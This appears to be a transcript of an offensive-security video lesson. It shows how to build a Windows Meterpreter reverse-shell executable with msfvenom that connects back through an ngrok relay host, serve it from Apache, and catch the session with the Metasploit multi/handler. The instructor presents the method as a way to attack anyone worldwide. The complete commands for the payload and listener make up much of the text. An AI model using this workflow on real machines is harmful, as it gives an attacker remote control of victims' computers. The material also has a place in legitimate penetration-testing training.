Hello everybody and welcome back. And right now before we continue, I just want
to show you an alternative to the port forwarding attack. Well, basically, the
attack over the Internet. Now let's say, for example, you are on a cafe Wi-Fi and
you do not have access to the router, and you, for example, want to port forward,
or actually be able to attack anyone in the entire world over a link, or
something like that. You can't really perform the port forwarding since you do
not have access to the router, so you need to have the alternative for that.
Now the alternative is a program called ngrok. Now ngrok, I don't think it
comes pre-installed in Kali Linux. We will not be installing it since it is only
optional. I already have it installed on my laptop. If you want to you can just
go onto your Firefox and just search installing ngrok commands,
or something like that, and I believe it is rather easy to install. You would
probably need to make an account on the website in order for this to work, but I
believe you will do that very easily since I don't remember having any
problem during the installation of this program. So, you just go ngrok download,
and then you can actually find it somewhere. Either on their github
as we can see right here, or you can go on to their official website and
actually download it from there. Now this is also something you run both on Linux and
both on Windows, so that's good to know as well. So once you download that you
will have probably an account. And once you do that, just type here ngrok
--help. I believe it has help options. Okay, so it does have --help. And
basically what you want to do is actually perform port forwarding with
this tool, on their website. So what they allow you is to have an open port on
their website. When someone connects to their website over some open port, that
will forward the connection straight to you. So their website actually acts as a
router in that case, as a port forwarder for our own machine. As we can
see some of the examples right here, ngrok http 80, # secure public URL for port
80 web server. So if you were to example run this, you would be able to give
access to your apache 2 web server to anyone in the world. For anyone that
actually types the link with your open port. Now you might be asking, well isn't
that the same as hosting and how does this come for free?
Well, the free version actually changes your port every time you restart the
ngrok, so you will not be able to have a static address for this. But you can pay
for I believe professional version, or something like that, where they
actually allow you to have the same port every time you run ngrok. But right
now what we want to do is actually type ngrok tcp, and then we want to use the
port that we want to forward in our Kali Linux machine, or basically in my
laptop in this case. So let's just say port 5555. And then when
we run this you will see that it will actually try to connect to
their web server, and soon enough I believe it will give us an open port on
their website. So, reconnecting...it will give you some of these timeout sessions.
But, don't worry, I believe in a few seconds that this will perform a full
connection to their website. So let's wait for that to happen.
And here we are, we can see that we are currently online. So, the few things that
we have right here is the session status, which is the status of our current web
server, or not web server, our open port. The account that I made when I was
making the ngrok was this one. As we can see it is plan 3, which means I do
not have the premium version. Update available, doesn't matter. The version, the
region, United States. The forwarding is done on this link right here. So this is
the link, and this is your port that they use in order to forward your connection.
So it is forwarding it to our local host at port 5555. So, with
this you do not need to actually port forward anything in the router. You can
just bring your laptop anywhere and perform the attack over the entire
Internet. But right now there are few things also that you need to change
while running this. So, let's open another terminal right here, and let me change my
directory to the desktop directory. Now let's say we want to make a payload, and
we want to make that payload connect back to us. So what we want to do is
msfvenom -p, and let's create a simple windows/meterpreter/reverse_tcp. And now
in the LHOST you would want to specify this. So you would want to specify this
link right here, so 0.tcp.ngrok.io. Now that I believe
link it will be the same for everyone, so you just specify that link. And what that
will do is when the target that you send this file to runs
this, it will connect to their website on this port. So you need to set the local
host to be 0.tcp.ngrok.io, and local port to be the port that they
give us. So, 14583 in my case, so 14583. Now let me just enlarge this a
little bit, so zoom in. And after this what you want to specify is the same as
before. So you can use encoder if you want to, but I will not use in this case.
So file exe, and we put that into shell.exe. This will create a simple windows
meterpreter reverse shell for us that will perform a connection to their website on
this port. Now what that website will do then is it will forward that connection to
our local host, which is 0.0.0.0 on port 5555. Now it means that
actually it will forward it to all interfaces I believe, so you will be able
to receive connection. There are also some of the things that you need to
change in the msfconsole as well. So I will show you that as well right
now. Let me just, first of all, what you want to do is, first of all, become
root. And then copy this shell.exe into /var/www/html/ so I can download it on
my Windows 10 machine. So let's do that as well. Now while I do that I will run
here msfconsole. So we let this open, and then I will show you what you need to
specify in order for this to actually work. So the simple thing you need to do
is basically same as before, so you need to type here use exploit/multi/
handler. Once you do that, you basically just need to set the payload as the
payload that you use, so in my case it is windows/meterpreter/reverse_tcp. Now here
as we show options right here, you want to set the LHOST to be 0.0.0.0, and you
want the LPORT to be 5555, since that is the LPORT that we
specified in the ngrok command. So set LPORT to be 5555. After
you do all of that you should be good to go.
So I will just run my shell.exe over my Windows 10 machine. Let me just
find it where I saved it. While I do that, I will just run this exploit -j -z so it runs
in the background.
Right now I will run my shell.exe. It will ask me do I want to run it since I
actually downloaded it from the Apache 2. Whoops, let me just scroll
this back down. I want to click more info run anyway, and
we can see that I got the meterpreter session opened. So we were actually able
to connect, or basically to hack a remote target that is actually
across the globe. Now my Windows 10 machine isn't really across the globe, but this
will work wherever that machine was, since we actually made that machine
connect back to this link right here, which is a publicly available link. If
I go right here on my Firefox as we can see right here, sessions, sessions -i 1.
If I getuid you will see that this is my Windows 10 machine. So we can close
this since we don't need to do anything anymore, and let me close this terminal
as well. And if we use this link right here and copy it, you will see that there
actually is a connection to that link. If I were to, for example, set up a listener
and paste this right here, the listener would be able to, it would actually
perform a meterpreter shell opening. But, the shell won't really work,
there is no payload on this website. Now it says the connection was reset because
we are not really listening for any connections at the moment, so we can't
actually go to the page. So, that would be about it for this ngrok tutorial. It is
an alternative to port forwarding if you are, for example, not doing the over
internet attacks over your own network, with your own router. So you can use this in
order to perform a simple port forward with the ngrok website. So, hope you
enjoyed this video and hope I see you in the next one. Bye!